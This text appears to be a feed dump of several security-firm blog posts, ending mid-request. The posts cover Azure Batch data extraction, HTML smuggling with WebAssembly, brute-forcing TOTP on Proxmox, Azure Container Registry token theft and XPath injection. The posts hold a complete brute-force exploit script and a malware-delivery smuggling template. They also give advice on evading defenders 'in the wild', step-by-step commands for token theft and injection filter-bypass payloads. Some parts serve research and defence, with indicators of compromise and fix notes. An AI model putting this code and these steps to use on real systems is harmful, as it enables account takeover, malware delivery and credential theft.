$b64 = “MII…[Your Base64 Certificate Data]”
[IO.File]::WriteAllBytes("$PWD\testCertificate.pfx",[Convert]::FromBase64String($b64))

Note that the PFX certificate uses “TotallyNotaHardcodedPassword…” as a password. You can change the password in the first line of the extraction code.

Automating Information Gathering

Since we are most commonly assessing an Azure environment with the Reader role, we wanted to automate the collection of a few key Batch account configuration items. To support this, we created the “Get-AzBatchAccountData” function in MicroBurst.

The function collects the following information:

  • Pools Data
    • Environment Variables
  • Start Task Commands
    • Available Storage Container URLs
  • Jobs Data
    • Environment Variables
    • Tasks (Job Preparation, Job Manager, and Job Release)
    • Jobs Sub-Tasks
    • Available Storage Container URLs
  • With Contributor Level Access
    • Primary and Secondary Keys for Triggering Jobs

While I’m not a big fan of writing output to disk, this was the cleanest way to capture all of the data coming out of available Batch accounts.

Tool Usage:

Authenticate to the Az PowerShell module (Connect-AzAccount), import the “Get-AzBatchAccountData.ps1” function from the MicroBurst Repo, and run the following command:

PS C:\> Get-AzBatchAccountData -folder BatchOutput -Verbose
VERBOSE: Logged In as kfosaaen@example.com
VERBOSE: Dumping Batch Accounts from the "Sample Subscription" Subscription
VERBOSE: 	1 Batch Account(s) Enumerated
VERBOSE: 		Attempting to dump data from the testspi account
VERBOSE: 			Attempting to dump keys
VERBOSE: 			1 Pool(s) Enumerated
VERBOSE: 				Attempting to dump pool data
VERBOSE: 			13 Job(s) Enumerated
VERBOSE: 				Attempting to dump job data
VERBOSE: 		Completed dumping of the testspi account

This should create an output folder (BatchOutput) with your output files (Jobs, Keys, Pools). Depending on your permissions, you may not be able to dump the keys.

Conclusion

As part of this research, we reached out to MSRC on the exposure of the Container Read/List SAS tokens. The issue was initially submitted in June of 2023 as an information disclosure issue. Given the low priority of the issue, we followed up in October of 2023. We received the following email from MSRC on October 27th, 2023:

We determined that this behavior is considered to be ‘by design’. Please find the notes below.

Analysis Notes: This behavior is as per design. Azure Batch API allows for the user to provide a set of urls to storage blobs as part of the API. Those urls can either be public storage urls, SAS urls or generated using managed identity. None of these values in the API are treated as “private”. If a user has permissions to a Batch account then they can view these values and it does not pose a security concern that requires servicing.

In general, we’re not seeing a massive adoption of Batch accounts in Azure, but we are running into them more frequently and we’re finding interesting information. This does seem to be a powerful Azure service, and (potentially) a great one to utilize for escalations in Azure environments.

References:

The post Extracting Sensitive Information from the Azure Batch Service  appeared first on NetSPI.

]]>
The Silk Wasm: Obfuscating HTML Smuggling with Web Assembly https://www.netspi.com/blog/technical/adversary-simulation/obfuscating-html-smuggling-with-web-assembly/ Mon, 26 Feb 2024 18:37:37 +0000 https://www.netspi.com/?p=31928 A new technique for HTML smuggling using Web Assembly helped us bypass potential malware detection.

The post The Silk Wasm: Obfuscating HTML Smuggling with Web Assembly appeared first on NetSPI.

]]>
For those who aren’t familiar, HTML Smuggling is a technique which hides a blob inside a traditional HTML page. The aim is to bypass traditional detections for file downloads on the wire, such as a HTTP(S) GET request to an external domain for /maliciousmacro.doc. The technique does this by embedding the malicious file within the page, usually in a base64 encoded string. This means that no outbound request is made to an obviously bad file type, and instead the file is repacked into maliciousmacro.doc within the victim’s browser, this happens locally and thus bypasses common network-based detections.  

Traditionally the technique follows the following steps:

  1. User visits a link to smuggle.html. 
  2. Smuggle.html contains a secret blob, such as a base64 string of the payload. 
  3. The page once opened, runs a script which decodes (and maybe also decrypts) the base64 blob. 
  4. The file now formatted back into its original and executable form, is presented to the user as though it was an ordinary file download. Depending on the browser, they might also be prompted to save the file somewhere first. 

The technique was first demonstrated by Outflank in the following blog post.

There are numerous examples and variations of this technique publicly available, and it has frequently been abused by real world threat actors for several years.

Enter Web Assembly  

Instead of using JavaScript, this take on smuggling uses Web Assembly or Wasm (https://webassembly.org/). Simply put, Wasm allows you to write code in more traditional system languages such as C++, Rust and Go, and compile them to a format which will run in the browser.   

So why use Wasm?  

Early in 2023, a colleague and I were struggling to bypass a client proxy with our traditional HTML smuggling templates. It appeared to be identifying JavaScript which performed any sort of file decrypt and download locally. This meant that our existing smuggling payloads were failing to reach their users, who were also helpfully warned our page might contain malware.  

To bypass this detection, I looked for other methods of running code in the browser, that might not be quite so obvious and readable by a proxy. Wasm turned out to be perfect for this because it generates a format which is more akin to raw bytes — something much less fun to read than text-based JavaScript. It was also novel when compared to any other smuggling variations we could find, and novel techniques are always a blind spot for defensive products.   

Below is an example of what Golang-based, Wasm looks like in the VSCode Hex Editor:

Modifying Droppers for Wasm

At the time, I’d been working on a tool which quickly compiled example shellcode dropper examples written in Golang. I quickly realised that this might help us overcome the barrier for two reasons: 

  1. The go templates in this dropper generator already had the code to encrypt and decrypt an embedded base64 payload. 
  2. Golang is very easy to compile to Wasm. 

By creating a new “dropper” template which removed all the endpoint dropper code, such as process injection API calls, we had a working decrypt function. When compiled to Wasm, the decrypted data could then be passed to JavaScript just like any other file.  After some testing, we successfully used the modified Wasm smuggle to bypass the client’s defensive controls.

The Silk Wasm 

With this blog post, I’ve released a proof-of-concept tool called “SilkWasm” which generates the Wasm smuggle for you. To show you in more detail how this works, below is the It uses the following go template for the Wasm smuggle: 

package main 

import ( 
    "crypto/cipher" 
    "crypto/aes" 
    "encoding/base64" 
    "syscall/js" 
) 

func pkcs5Trimming(encrypt []byte) []byte { 
    padding := encrypt[len(encrypt)-1] 
    return encrypt[:len(encrypt)-int(padding)] 
} 

func aesDecrypt(key string, buf string) ([]byte, error) { 
    encKey, err := base64.StdEncoding.DecodeString(key) 
    if err != nil { 
        return nil, err 
    } 

    encBuf, err := base64.StdEncoding.DecodeString(buf) 
    if err != nil { 
        return nil, err 
    } 

    var block cipher.Block 

    block, err = aes.NewCipher(encKey) 
    if err != nil { 
        return nil, err 
    }

    if len(encBuf) < aes.BlockSize { 

        return nil, nil 
    } 
    iv := encBuf[:aes.BlockSize] 
    encBuf = encBuf[aes.BlockSize:] 
cbc := cipher.NewCBCDecrypter(block, iv) 
    cbc.CryptBlocks(encBuf, encBuf) 
    decBuf := pkcs5Trimming(encBuf) 

    return decBuf, nil 

} 

//I’m using the text/templates library to fill in the function name

func {{.FunctionName}}(this js.Value, args []js.Value) interface{}  {   

    bufstring := "{{.BufStr}}" 
    kstring := "{{.KeyStr}}" 

    imgbuf, err := aesDecrypt(kstring, bufstring) 
    if err != nil { 
        return nil 
    } 

    arrayConstructor := js.Global().Get("Uint8Array") 
    dataJS := arrayConstructor.New(len(imgbuf)) 

    js.CopyBytesToJS(dataJS, imgbuf) 

    return dataJS 
} 

func main() { 
    js.Global().Set("{{.FunctionName}}", js.FuncOf({{.FunctionName}})) 
    <-make(chan bool)// keep running 
} 

Once you’ve modified the above example, we can use the ordinary go compiler to generate our Wasm smuggling binary. Go is very easy to cross-compile for a wide variety of platforms, and so this step is fairly easy.

GOOS=js GOARCH=wasm go build -o test.wasm smuggle.go 

Here’s how we do the whole thing with Silkwasm, which does most of the work for you such as encrypting the file and filling in the function names, etc. It also includes flags which reduce the Wasm file size (or at least try to): 

./silkwasm smuggle -i maliciousmacro.doc

Now, we need to call our smuggling script in a HTML file, just like we would an ordinary JavaScript smuggle. However, because we used Go, we will need to embed the “wasm_exec.js” file, which is essentially a runtime to run Go-based Wasm. The JavaScript file for this is usually found in your go install folder (`$(go env GOROOT)/misc/wasm/wasm_exec.js`). 

<!DOCTYPE html> 
<html> 
<head> 
<script src="wasm_exec.js"></script> 
<script> 
    const go = new Go(); 
    //Modify to your WASM filename. 
    WebAssembly.instantiateStreaming(fetch("{{.WasmFileName}}"), go.importObject).then((result) => { 
        go.run(result.instance); 
    }); 
    function compImage() { 
        buffer = {{.FunctionName}}(); 
        var mrblobby = new Blob([buffer]); 
        var blobUrl=URL.createObjectURL(mrblobby); 
        document.getElementById("prr").hidden = !0; //div tag used for download 

        userAction.href=blobUrl; 
        userAction.download="{{.OutputFile}}"; //modify to your desired filename. 
        userAction.click(); 
    } 
</script> 
</head> 
<body> 
    <button onClick="compImage()">goSmuggle</button> 
    <div id="prr"><a id=userAction hidden><button></button></a></div> 
</body> 
</html> 

Now we’re safe to browse to our smuggle.html, once we click the goSmuggle button, our payload downloads:

Improving & Obfuscating the Smuggler 

If you want to use this in the wild, you are welcome to use Silkwasm. However, I would consider writing your own version from scratch in a Wasm compatible language of your choosing, as this’ll only help your version remain undetected.  

There are also definitely some areas that could be improved upon the default SilkWasm example:  

  1. Use the Rust or the [tinygo](https://tinygo.org/) compiler to reduce the size of the resulting Wasm file (SilkWasm supports tinygo provided it’s installed correctly). In practice the standard go compiler will sometimes produce 10MB+ Wasm files, which isn’t ideal if your target is running dial-up internet or pushing all traffic through exceptionally slow proxies designed to catch malware. 
  2. Minify/obfuscate your JavaScript code – one adjustment I often make to the wasm_exec.js is to embed it in some existing JavaScript such as some UI react library, and then minify. This makes it much more annoying for a defender to identify what the code is doing and helps ensure that the code looks different depending on the page/UI you are using. 
  3. Try to download based on some kind of user event, such as a user submitting a login form. To help with this, SilkWasm will by default generate a page with a button, however, it’s best to modify this to suit your pretext. This makes it harder for automated scanners to obtain your payload, as simply visiting the page does not immediately trigger a download of a malicious file. 

For defenders, the traditional detections for this technique mostly still apply, as the same browser API calls are used to save the file as they would be in a traditional smuggle. As always, strong application allow-listing and restrictions on files downloaded from the internet will significantly reduce the likelihood of success for an initial access payload. 

It should also be noted that the number of products which block traditional smuggling are rare, so the potential usefulness of this technique depends entirely on the maturity of the defensive team and their capability to identify malicious JavaScript.

Additional References

During the writing of this blog, this technique was also demonstrated by @au5_mate on twitter: (https://twitter.com/au5_mate/status/1755639584501780975). I’m not entirely sure if he uses go or another language for his example. Wasm smuggling can feasibly be performed in a variety of ways, with any language Wasm supports.  

Finally, I’d also like to point to another interesting Wasm based idea in Sliver C2, which is using Wasm modules to dynamically modify the encoding of C2 traffic. More info on that can be found in their documentation: https://sliver.sh/docs?name=Traffic%20Encoders 

Originally this technique was released in my previous tool Godropit (https://github.com/kopp0ut/godropit/). Credit is owed to the following repos for the dropper templates which I used to base the original shellcode loader templates on: 

Interested in learning more about NetSPI’s Red Team tactics? Check out these helpful resources: 

The post The Silk Wasm: Obfuscating HTML Smuggling with Web Assembly appeared first on NetSPI.

]]>
Why TOTP Won’t Cut It (And What to Consider Instead) https://www.netspi.com/blog/technical/web-application-penetration-testing/why-totp-wont-cut-it/ Thu, 18 Jan 2024 15:36:47 +0000 https://www.netspi.com/?p=31782 Time-Based One-Time Password (TOTP) is a common method for two factor authentication (2FA) but its lack of rate limiting can create security gaps.

The post Why TOTP Won’t Cut It (And What to Consider Instead) appeared first on NetSPI.

]]>
This article is co-authored by Gabe Rust. 

Welcome to the Battlefield

Staring at the soft glow of a monitor, a hacker sipped coffee and watched the minutes tick by. The credentials had been obtained. The code needed to brute force the TOTP code had been written, and now it was just a matter of time. With each unsuccessful attempt, he could feel the tension in the room building. Ding. The computer screen lit up with a message of success. Satisfied, the hacker leaned back with a wry smile on his lips and thought, “I am the admin now.” 

While TOTP was once an advancement in authorizing secure access, today it’s become a dated security measure that allows persistent threat actors to find exploitable gaps. In this article we’ll explore security risks of TOTP and an alternative 2FA method to increase security.

Time-Based One-Time Password (TOTP) is a common two-factor authentication (2FA) mechanism used across the internet. TOTP operates by generating dynamic, time-sensitive passcodes that are typically valid for 30 seconds. The process is orchestrated during setup by exchanging a shared secret. During authentication, the secret is used in combination with the time in a cryptographic hash function to produce a secure 6-digit passcode. When a user enters a TOTP token, the server calculates the current valid token and compares them.  

This method is often used in places where 2FA is an afterthought. It’s a simple method that doesn’t require a ton of code complexity to implement. If a product arbitrarily decides to implement 2FA, TOTP is likely high on the list of supported options. However, this lack of complexity leads to a significant downfall which we will explore.

When Great Becomes…Not so Great: A Light Review of CVE-2023-43320 

Proxmox products supporting TOTP prior to version 8.0 allowed users to utilize TOTP 2FA via an authenticator application of their choice. However, due to the possibility of causing a Denial-of-Service (DoS) condition for legitimate users, TOTP authentication attempts were not rate limited.  

I made the initial discovery while reviewing the Proxmox authentication flow through Burp. Specifically, I noticed that during the 2FA portion of the authentication process, I was able to submit the same request multiple times. It stood out as interesting to me because I had recently been debating the merits of session-based vs request-based CSRF tokens with a friend. I sent the request to intruder and set it to cycle through same token 100 times. It turns out that this token was neither. Once a token was issued, it was time-based.  

But then it struck me. I had just sent 100 TOTP attempts. Would the app still let me authenticate? Why yes, it did. I started wondering about the probabilities of brute forcing TOTP. Some friends said it would take years…others guessed it could be done in days. I knew that the lack of rate limiting created a security risk: an attacker with knowledge of a valid credential pair could brute force the PIN. The only question was how long it would take. Using a rate of ten requests per second, real-world testing demonstrated successful attacks in as little as just over 12 hours. Here is an excellent article about the probabilities of brute forcing TOTP. 

Lets have a look at the code that was used to exploit this CVE:

import concurrent.futures 
import time 
import requests 
import urllib.parse 
import json 
import os 
import urllib3 
  
urllib3.disable_warnings() 
threads=25 
  
#################### REPLACE THESE VALUES ######################### 
password="KNOWN PASSWORD HERE"  
username="KNOWN USERNAME HERE" 
target_url=https://HOST:PORT 
################################################################## 
  
ticket="" 
ticket_username="" 
CSRFPreventionToken="" 
ticket_data={} 
  
auto_refresh_time = 20 # in minutes - 30 minutes before expiration 
last_refresh_time = 0 
 
tokens = []; 

for num in range(0,1000000): 
   tokens.append(str(num).zfill(6)) 
  
     
def refresh_ticket(target_url, username, password): 
   global CSRFPreventionToken 
   global ticket_username 
   global ticket_data 
   refresh_ticket_url = target_url + "/api2/extjs/access/ticket" 
   refresh_ticket_cookies = {} 
   refresh_ticket_headers = {} 
   refresh_ticket_data = {"username": username, "password": password, "realm": "pve", "new-format": "1"} 
   ticket_data_raw = urllib.parse.unquote(requests.post(refresh_ticket_url, headers=refresh_ticket_headers, cookies=refresh_ticket_cookies, data=refresh_ticket_data, verify=False).text) 
   ticket_data = json.loads(ticket_data_raw) 
   CSRFPreventionToken = ticket_data["data"]["CSRFPreventionToken"] 
   ticket_username = ticket_data["data"]["username"] 
  
  
def attack(token): 
   global last_refresh_time 
   global auto_refresh_time 
   global target_url 
   global username 
   global password 
   global ticket_username 
   global ticket_data 
   if ( int(time.time()) > (last_refresh_time + (auto_refresh_time * 60)) ): 
       refresh_ticket(target_url, username, password) 
       last_refresh_time = int(time.time()) 
  
   url = target_url + "/api2/extjs/access/ticket" 
   cookies = {} 
   headers = {"Csrfpreventiontoken": CSRFPreventionToken} 
   stage_1_ticket = str(json.dumps(ticket_data["data"]["ticket"]))[1:-1] 
   stage_2_ticket = stage_1_ticket.replace('\\"totp\\":', '\"totp\"%3A').replace('\\"recovery\\":', '\"recovery\"%3A') 
   data = {"username": ticket_username, "tfa-challenge": stage_2_ticket, "password": "totp:" + str(token)} 
   response = requests.post(url, headers=headers, cookies=cookies, data=data, verify=False) 
   if(len(response.text) > 350): 
       print(response.text) 
       os._exit(1) 
  
while(1): 
   refresh_ticket(target_url, username, password) 
   last_refresh_time = int(time.time()) 
  
   with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor: 
       res = [executor.submit(attack, token) for token in tokens] 
       concurrent.futures.wait(res)

This Python script utilizes a concurrent approach with multiple threads to attempt various TOTP codes in order, repeatedly, until successful. A success state is identified by a response length longer than 350 characters. An attacker would simply need to provide a valid credential pair and target. View the details of CVE-2023-43320.

The options for using TOTP securely are limited. Proxmox fixed the issue by limiting the maximum number of 2FA attempts. Additionally, to enable TOTP, another 2FA method must be enabled as well. If too many generic 2FA fails occur, the user account is locked for one hour. If too many consecutive failed TOTP attempts occur, TOTP is disabled on the user account until they re-enable it after authenticating with another form of 2FA.  

There are two situations an account lockout could happen in. First, if a legitimate user accidentally enters the wrong TOTP key too many times, they could cause a Denial-of-Service condition for themselves. This is certainly not a great position for a user to find themselves in. However, the second situation is where real problems get uncovered. If an attacker is guessing TOTP codes, they already have valid credentials, which should be changed by the legitimate user. In this situation, using recovery codes to reset the credentials and the TOTP seed is a viable solution when TOTP is required.

We must take a step back and look at the overall workflow that our 2FA solutions are following to identify security gaps in the flow. For example, Conor Gilsenan, author of “TOTP: (way) more secure than SMS, but more annoying than Push” created this helpful workflow for TOTP.

Figure 1https://allthingsauth.com/2018/04/05/totp-way-more-secure-than-sms-but-more-annoying-than-push/ 

Observe that the authentication portion occurs strictly in step five, with Alice manually entering a One-Time-Passcode (OTP) that appears on her authenticator application into the browser. There are no safeguards proving that the number being entered was read from the authenticator application and not randomly generated. This leads to issues such as CVE-2023-43320. Some solutions have been created that require the user to take an action on their device. Such methods mitigate attackers being able to brute force PIN codes. 

Let’s look at the traditional workflow for push notifications as shown in the article “Multi-Factor Authentication (MFA/2FA) Methods” by Rublon.

Figure 2https://rublon.com/blog/2fa-authentication-methods/

In this workflow, an attacker is not naturally able to click approve or deny, but there is still a workflow flaw: user error. Users frequently click the wrong button for various reasons and if there are only two choices, the chance of clicking the wrong one is 50%. Imagine a member of your team opening their laptop at 8 am, pre-coffee, and getting a push 2FA notification. To that worker it seems natural, but in this case an attacker was waiting with a rogue access point and already obtained their credentials to access the Active Directory network.  

Finally, we can inspect a push solution that helps solve the workflow issue.

Figure 3 – NetSPI

This is the Microsoft Authenticator application. This push solution presents a two-digit number in the browser that the user must enter into the authenticator application. Now, if a user accidentally clicks yes, they must have also entered the correct number between 10 and 99. This solution does not present a serious hurdle for users.  

If an attacker obtains credentials and sends a 2FA request, the user does not have any reference for what number to enter. Technically, a user may attempt to guess a number for any variety of reasons; however, the odds of a successful breach in that particular scenario are reduced to one in 90, as opposed to 50% in other push-based implementations of 2FA. 

So, what is the goal for 2FA? While two-factor authentication has significantly improved account security, its current implementations have shortcomings that leave users vulnerable to persistent attackers. Several 2FA methods exist, but most of them offer only moderate protection and introduce friction into the user experience. 

For example, 2FA solutions should not be phishable. An attacker should not be able to contact a user and convince them to approve a 2FA attempt remotely. Currently, Cybersecurity and Infrastructure Security Agency (CISA) requires that all government agencies, vendors, and contractors they work with utilize phishing-resistant multifactor authentication (MFA). Currently, those solutions are FIDO/WebAuthn and PKI-based. An example of a FIDO workflow can be seen in this Descope article, “What Is FIDO2 & How Does FIDO Authentication Work?”:

Figure 4https://www.descope.com/learn/post/fido2#

In this workflow, a user must present a physical key, such as a security card or USB device, that contains a private key. This key is used to sign a challenge to authenticate to an application or service. However, this method is vulnerable to theft. An attacker should not be able to steal a device and approve a 2FA request with it themselves.  

Currently, no solution is both phish- and theft-proof. Significant innovation is necessary in this space to overcome the limitations of current 2FA solutions. However, a new generation of innovators is coming along and perhaps the solution will arrive with them.

The post Why TOTP Won’t Cut It (And What to Consider Instead) appeared first on NetSPI.

]]>
Automating Managed Identity Token Extraction in Azure Container Registries https://www.netspi.com/blog/technical/cloud-penetration-testing/automating-managed-identity-token-extraction-in-azure-container-registries/ Thu, 04 Jan 2024 15:00:00 +0000 https://www.netspi.com/?p=31693 Learn the processes used to create a malicious Azure Container Registry task that can be used to export tokens for Managed Identities attached to an ACR.

The post Automating Managed Identity Token Extraction in Azure Container Registries appeared first on NetSPI.

]]>
In the ever-evolving landscape of containerized applications, Azure Container Registry (ACR) is one of the more commonly used services in Azure for the management and deployment of container images. ACR not only serves as a secure and scalable repository for Docker images, but also offers a suite of powerful features to streamline management of the container lifecycle. One of those features is the ability to run build and configuration scripts through the “Tasks” functionality.  

This functionality does have some downsides, as it can be abused by attackers to generate tokens for any Managed Identities that are attached to the ACR. In this blog post, we will show the processes used to create a malicious ACR task that can be used to export tokens for Managed Identities attached to an ACR. We will also show a new tool within MicroBurst that can automate this whole process for you. 

TL;DR 

  • Azure Container Registries (ACRs) can have attached Managed Identities 
  • Attackers can create malicious tasks in the ACR that generate and export tokens for the Managed Identities 
  • We’ve created a tool in MicroBurst (Invoke-AzACRTokenGenerator) that automates this attack path 

Previous Research 

To be fully transparent, this blog and tooling was a result of trying to replicate some prior research from Andy Robbins (Abusing Azure Container Registry Tasks) that was well documented, but lacked copy and paste-able commands that I could use to recreate the attack. While the original blog focuses on overwriting existing tasks, we will be focusing on creating new tasks and automating the whole process with PowerShell. A big thank you to Andy for the original research, and I hope this tooling helps others replicate the attack.

Attack Process Overview 

Here is the general attack flow that we will be following: 

  1. The attacker has Contributor (Write) access on the ACR 
  • Technically, you could also poison existing ACR task files in a GitHub repo, but the previous research (noted above) does a great job of explaining that issue 
  1. The attacker creates a malicious YAML task file  
  • The task authenticates to the Az CLI as the Managed Identity, then generates a token 
  1. A Task is created with the AZ CLI and the YAML file 
  2. The Task is run in the ACR Task container 
  3. The token is written to the Task output, then retrieved by the attacker 

If you want to replicate the attack using the AZ CLI, use the following steps:

  1. Authenticate to the AZ CLI (AZ Login) with an account with the Contributor role on the ACR
  2. Identify the available Container Registries with the following command:
az acr list
  1. Write the following YAML to a local file (.\taskfile) 
version: v1.1.0 
steps: 
  - cmd: az login --identity --allow-no-subscriptions 
  - cmd: az account get-access-token 
  1. Note that this assumes you are using a System Assigned Managed Identity, if you’re using a User-Assigned Managed Identity, you will need to add a “–username <client_id|object_id|resource_id>” to the login command 
  2. Create the task in the ACR ($ACRName) with the following command 
az acr task create --registry $ACRName --name sample_acr_task --file .\taskfile --context /dev/null --only-show-errors --assign-identity [system] 
  1. If you’re using a User-Assigned Managed Identity, replace [system] with the resource path (“/subscriptions/<subscriptionId>/resourcegroups/<myResourceGroup>/providers/
    Microsoft.ManagedIdentity/userAssignedIdentities/<myUserAssignedIdentitiy>”) for the identity you want to use 
  2. Use the following command to run the command in the ACR 
az acr task run -n sample_acr_task -r $acrName 
  1. The task output, including the token, should be displayed in the output for the run command. 
  2. Next, we will want to delete the task with the following command 
az acr task delete -n sample_acr_task -r $acrName -y 

Please note that while the task may be deleted, the “Runs” of the task will still show up in the ACR. Since Managed Identity tokens have a limited shelf-life, this isn’t a huge concern, but it would expose the token to anyone with the Reader role on the ACR. If you are concerned about this, feel free to modify the task definition to use another method (HTTP POST) to exfiltrate the token. 

Automating Managed Identity Token Extraction in Azure Container Registries

Invoke-AzACRTokenGenerator Usage/overview 

To automate this process, we added the Invoke-AzACRTokenGenerator function to the MicroBurst toolkit. The function follows the above methodology and uses a mix of the Az PowerShell module cmdlets and REST API calls to replace the AZ CLI commands.  

A couple of things to note: 

  • The function will prompt (via Out-GridView) you for a Subscription to use and for the ACRs that you want to target 
    • Keep in mind that you can multi-select (Ctrl+click) Subscriptions and ACRs to help exploit multiple targets at once 
  • By default, the function generates tokens for the “Management” (https://management.azure.com/) service 
    • If you want to specify a different scope endpoint, you can do so with the -TokenScope parameter. 
    • Two commonly used options: 
  1. https://graph.microsoft.com/ – Used for accessing the Graph API
  2. https://vault.azure.net – Used for accessing the Key Vault API 
  • The Output is a Data Table Object that can be assigned to a variable  
    • $tokens = Invoke-AzACRTokenGenerator 
    • This can also be appended with a “+=” to add tokens to the object 
  1. This is handy for storing multiple token scopes (Management, Graph, Vault) in one object 

This command will be imported with the rest of the MicroBurst module, but you can use the following command to manually import the function into your PowerShell session: 

Import-Module .\MicroBurst\Az\Invoke-AzACRTokenGenerator.ps1 

Once imported, the function is simple to use: 

Invoke-AzACRTokenGenerator -Verbose 

Example Output:

Automating Managed Identity Token Extraction in Azure Container Registries

Indicators of Compromise (IoCs) 

To better support the defenders out there, we’ve included some IoCs that you can look for in your Azure activity logs to help identify this kind of attack. 

Operation Name Description 
Microsoft.ContainerRegistry/registries/tasks/write Create or update a task for a container registry. 
Microsoft.ContainerRegistry/registries/scheduleRun/action Schedule a run against a container registry. 
Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/actionGet the log SAS URL for a run. 
Microsoft.ContainerRegistry/registries/tasks/delete Delete a task for a container registry.

Conclusion 

The Azure ACR tasks functionality is very helpful for automating the lifecycle of a container, but permissions misconfigurations can allow attackers to abuse attached Managed Identities to move laterally and escalate privileges.  

If you’re currently using Azure Container Registries, make sure you review the permissions assigned to the ACRs, along with any permissions assigned to attached Managed Identities. It would also be worthwhile to review permissions on any tasks that you have stored in GitHub, as those could be vulnerable to poisoning attacks. Finally, defenders should look at existing task files to see if there are any malicious tasks, and make sure that you monitor the actions that we noted above. 

The post Automating Managed Identity Token Extraction in Azure Container Registries appeared first on NetSPI.

]]>
Exploiting XPath Injection Weaknesses https://www.netspi.com/blog/technical/web-application-penetration-testing/exploiting-xpath-injection-weaknesses/ Thu, 30 Nov 2023 15:00:00 +0000 https://www.netspi.com/?p=31500 Defend your web applications from XPath Injection: Explore the intricacies of this critical threat, understand its impact, and learn effective mitigation strategies.

The post Exploiting XPath Injection Weaknesses appeared first on NetSPI.

]]>
Welcome to the world of XPath Injection, a significant threat in web applications. XPath Injection occurs when applications construct XPath queries for XML data without proper validation, allowing attackers to exploit user input. This vulnerability enables unauthorized access to sensitive data, authentication bypass, and application logic interference. In this blog, we delve into the depths of XPath Injection, examining its risks and consequences. Discover innovative techniques used to manipulate XPath queries and gain valuable insights. We also guide you through a sample lab environment, replicating real-world challenges faced in recent web application engagements. Stay tuned to learn how to protect your applications from this pervasive threat, ensuring robust security for your digital assets.

Setting up the Lab 

Below, I’ve provided some basic steps for setting up a vulnerable lab instance that can be used to replicate the scenarios covered in this blog.

git clone https://github.com/NetSPI/XPath-Injection-Lab.git 
cd XPath-Injection-Lab 
docker build -t bookapp .  
docker run -p 8888:80 bookapp 

Identifying XPath Injection 

After hosting the vulnerable application, configure your browser to use an intercepting web proxy (like Burp Suite), and navigate to https://localhost:8888. Click on the “Find” button, as shown in the below screenshot, and note the request in your proxy.

HTTP Request:

POST /Home/FindBook HTTP/1.1 
Host: localhost:8888 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/118.0 
Accept: */* 
Accept-Language: en-GB,en;q=0.5 
Accept-Encoding: gzip, deflate, br 
Referer: https://localhost:8888/ 
Content-Type: application/json 
Content-Length: 28 
Origin: https://localhost:8888 
Connection: close 
Sec-Fetch-Dest: empty 
Sec-Fetch-Mode: cors 
Sec-Fetch-Site: same-origin 

{"title":"The Last Orchard"}

To help identify XPath injection, an attacker can use special characters (such as ” ‘ / @ = * [ ] (  ) ) to induce a syntax error in the query. If the application returns an error message, the application may be vulnerable to XPath injection. Upon inserting a single quote [ ‘ ] into the input parameter (i.e. title) in our previous request, we can see that an XPath error was returned in the HTTP response. 

HTTP Request: 

POST /Home/FindBook HTTP/1.1 
Host: localhost:8888 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/118.0 
Accept: */* 
Accept-Language: en-GB,en;q=0.5 
Accept-Encoding: gzip, deflate, br 
Referer: https://localhost:8888/ 
Content-Type: application/json 
Content-Length: 30 
Origin: https://localhost:8888 
Connection: close 
Sec-Fetch-Dest: empty 
Sec-Fetch-Mode: cors 
Sec-Fetch-Site: same-origin 

{"title":"The Last Orchard'"}

HTTP Response:

HTTP/1.1 500 Internal Server Error 
Connection: close 
Content-Type: text/plain; charset=utf-8 
Date: Mon, 30 Oct 2023 05:54:53 GMT 
Server: Kestrel 
Content-Length: 5157 

System.Xml.XPath.XPathException: This is an unclosed string. 
   at MS.Internal.Xml.XPath.XPathScanner.ScanString() 
   at MS.Internal.Xml.XPath.XPathScanner.NextLex() 
   at MS.Internal.Xml.XPath.XPathParser.ParsePrimaryExpr(AstNode qyInput) 
   at MS.Internal.Xml.XPath.XPathParser.ParseFilterExpr(AstNode qyInput) 
   at MS.Internal.Xml.XPath.XPathParser.ParsePathExpr(AstNode qyInput) 
 
[TRUNCATED]

In the next step, try the following strings as input, and observe the responses:

' or '1'='1  
" or "1"="1  
' or '='  
" or "=" 

With the above queries, we have attempted to formulate a query that consistently evaluates to ‘true,’ with the expectation that it might bypass the intended search criteria, potentially returning unexpected records or all of the book records. But in this case, we just get an “Invalid input” response. 

HTTP Request:

POST /Home/FindBook HTTP/1.1 
Host: localhost:8888 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/118.0 
Accept: */* 
Accept-Language: en-GB,en;q=0.5 
Accept-Encoding: gzip, deflate, br 
Referer: https://localhost:8888/ 
Content-Type: application/json 
Content-Length: 43 
Origin: https://localhost:8888 
Connection: close 
Sec-Fetch-Dest: empty 
Sec-Fetch-Mode: cors 
Sec-Fetch-Site: same-origin 

{"title":"The Last Orchard ' or '1' = '1 "} 

HTTP Response:

HTTP/1.1 400 Bad Request 
Content-Length: 29 
Connection: close 
Content-Type: application/xml 
Date: Mon, 30 Oct 2023 05:59:10 GMT 
Server: Kestrel 

<Error>Invalid input.</Error> 

Whenever there is an equal sign (=), in any encoding format, within the payload, the application returns an error. In this XPath injection, the “=” sign is akin to a double-edged sword. While it serves as a fundamental component of the queries, its presence in payloads can alert security mechanisms.  

In a recently encountered injection, I faced a particularly resilient application that not only detected plain “=” signs, but also remained impervious to encoded variations. By steering away from the traditional “=“, try using “<” and “>” operators in order to bypass the “=” sign security mechanism. The updated payloads which avoid the “=” are shown below.

Note that the added extra space character before first ” ” which makes the title comparison fail too. Since neither comparison is true, no book is returned. 

HTTP Request: 

POST /Home/FindBook HTTP/1.1 
Host: localhost:8888 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/118.0 
Accept: */* 
Accept-Language: en-GB,en;q=0.5 
Accept-Encoding: gzip, deflate, br 
Referer: https://localhost:8888/ 
Content-Type: application/json 
Content-Length: 43 
Origin: https://localhost:8888 
Connection: close 
Sec-Fetch-Dest: empty 
Sec-Fetch-Mode: cors 
Sec-Fetch-Site: same-origin 

{"title":"The Last Orchard ' or '1' < '1"} 

HTTP Response:

HTTP/1.1 404 Not Found 
Content-Length: 29 
Connection: close 
Content-Type: application/xml 
Date: Mon, 30 Oct 2023 06:00:51 GMT 
Server: Kestrel 

<Error>Book not found</Error> 

HTTP Request:

